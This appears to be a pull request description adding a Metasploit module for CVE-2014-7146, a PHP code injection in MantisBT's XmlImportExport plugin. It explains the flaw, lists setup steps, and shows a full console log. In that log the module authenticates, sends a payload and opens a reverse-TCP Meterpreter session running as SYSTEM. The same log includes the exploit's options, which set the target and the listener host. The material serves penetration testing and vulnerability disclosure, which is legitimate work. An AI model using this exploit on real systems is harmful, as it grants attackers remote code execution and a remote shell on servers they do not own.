Add CVE-2014-7146 PHP Code Execution for MantisBT

CVE-2014-7146: MantisBT XmlImportExport plugin PHP Code Injection Vulnerability

When importing data with the plugin, user input passed through the "description" field (and the "issuelink" attribute) of the uploaded XML file isn't properly sanitized before being used in a call to the preg_replace() function which uses the 'e' modifier. This can be exploited to inject and execute arbitrary PHP code when the Import/Export plugin is installed.

* Homepage: https://www.mantisbt.org/
* Source: http://sourceforge.net/projects/mantisbt/files/mantis-stable/1.2.17/mantisbt-1.2.17.zip/download
* Tested on: MantisBT 1.2.17, Windows 8 Home Premium Edition 64 bits, PHP Version 5.5.8.
* Usage: 
  * Install MantisBT
  * Install Import/Export issues module through Manage Plugins > Manage Plugins menu.
  * Run the module

![exploit cve-2014-7146](https://cloud.githubusercontent.com/assets/1725054/4967458/94adfe54-6812-11e4-8a10-90af3cf7b90a.png)


### Example output
```
msf exploit(mantisbt_php_exec) > show options 

Module options (exploit/test/mantisbt_php_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   root             yes       Pasword to authenticate as
   Proxies                     no        Use a proxy chain
   RHOST      192.168.1.51     yes       The target address
   RPORT      80               yes       The target port
   TARGETURI  mantisbt-1.2.17  yes       Base x7 Chat directory path
   USERNAME   administrator    yes       Username to authenticate as
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.58     yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Generic (PHP Payload)


msf exploit(mantisbt_php_exec) > check 

[*] Checking access to MantisBT...
[*] Logging in...
[*] Checking XmlImportExport plugin...
[*] Sending payload...
[*] Deleting the issue (JUJGG)...
[+] Issue number (69) removed
[+] 192.168.1.51:80 - The target is vulnerable.
msf exploit(mantisbt_php_exec) > exploit 

[*] Started reverse handler on 192.168.1.58:4444 
[*] Checking access to MantisBT...
[*] Logging in...
[*] Checking XmlImportExport plugin...
[*] Sending payload...
[*] Sending stage (40551 bytes) to 192.168.1.51
[*] Meterpreter session 11 opened (192.168.1.58:4444 -> 192.168.1.51:61757) at 2014-11-09 08:11:05 -0500
[*] Deleting the issue (JIHRN)...
[-] Error trying to access to My View page
[-] Exploit failed: 192.168.1.51:80 - Exploit failed, aborting.

meterpreter > get
getenv  getlwd  getpid  getuid  getwd   
meterpreter > getuid 
Server username: SYSTEM (0)
meterpreter > 
```

CVE Reference: http://seclists.org/oss-sec/2014/q4/576

**Note**: It still have a problem with the request that I do after getting a meterpreter session. It is a request to delete the Issue log and into the check method it works fine, but into the run/exploit, the request fails, but still it get the meterpreter session. I wasn't able to solve it, any idea maybe? Thank you.
Hi, yes we can, but that value is taken from <summary>#{ rand_text }</summary> field in the XML file, so I think is better rand text.

Regards